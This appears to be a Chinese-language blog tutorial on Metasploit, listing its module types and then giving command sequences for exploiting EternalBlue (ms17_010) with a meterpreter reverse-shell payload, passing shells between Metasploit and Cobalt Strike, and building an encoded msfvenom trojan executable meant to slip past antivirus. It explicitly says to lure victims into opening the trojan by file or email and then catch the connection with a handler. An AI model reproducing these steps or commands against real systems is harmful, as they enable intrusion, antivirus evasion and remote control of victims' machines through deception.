msf使用教程

1.关键词

(1)reverse_tcp
木马会主动连接目标服务器
(2)bind_tcp
木马会监听本地的端口


2.msf各模块
①exploits
漏洞利⽤模块,这个模块通常是⽤于对某些有可能存在漏洞的⽬标进⾏漏洞利⽤。
②payloads
攻击载荷,exploit成功之后就会执⾏payload,这段payload可以是反弹代码,可以是添加⽤户的代码。
③auxiliary
辅助模块,该模块是⽤于辅助渗透的,⽐如端⼝扫描、存活探测、暴⼒破解。
④post
后渗透模块,该模块⼀般⽤于内⽹渗透。
⑤encoders
编码器模块,对payload进⾏编码加密,可绕过部分杀软软件。(免杀效果不好)
⑥evasion
躲避模块,该模块分类下只有4个,都是为了躲避微软的限制或者是杀软的,免杀效果很⼀般。
⑦nops
空指令模块,我也没⽤过

3.使用教程
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.100.158 #设置参数
exploit / run #攻击
后渗透阶段 #后渗透阶段

 


4.msf与cs互弹shell
cs给shell msf msf用的是use exploit/multi/handler
msf给shell cs msf 用的是use exploit/windows/local/payload_inject
msf payload都为set payload windows/meterpreter/reverse_http
参考链接

https://blog.csdn.net/qq_44159028/article/details/124278770

 

 

 

 

5.反弹shell---生成木马反弹shell(Windows)(一般是给cs)
生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.128 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5
诱使受害者点击(发文件,邮件之类的)
启动msf
msfconsole
载入监控模块
use exploit/multi/handler
加载payload(反向监听)
set payload windows/meterpreter/reverse_tcp
配置payload
show options
配置payload监控IP
set LHOST 192.168.230.128
配置payload监控端口
msf中输入命令:set LPORT 4567
再次查看payload配置
show options
等待木马主动连接
即可上线

参考链接
https://blog.csdn.net/weixin_50956890/article/details/124571904


5.后渗透
https://blog.csdn.net/p_utao/article/details/108381939

 

 

6.使用Metasploit框架的scanner/ip/ipidseq模块,来寻找可能满足TCP空闲扫描要求的空闲主机
use auxiliary/scanner/ip/ipidseq
Show options查看选项

 参考链接

http://www.caotama.com/2002233.html

 

参考链接 

https://blog.csdn.net/hackzkaq/article/details/120825347
https://blog.csdn.net/weixin_45588247/article/details/119614618
https://www.cnblogs.com/Thorndike/p/15185241.html
https://www.anquanke.com/post/id/235631

posted @ 2022-07-31 00:28  lzstar-A2  阅读(700)  评论(0编辑  收藏  举报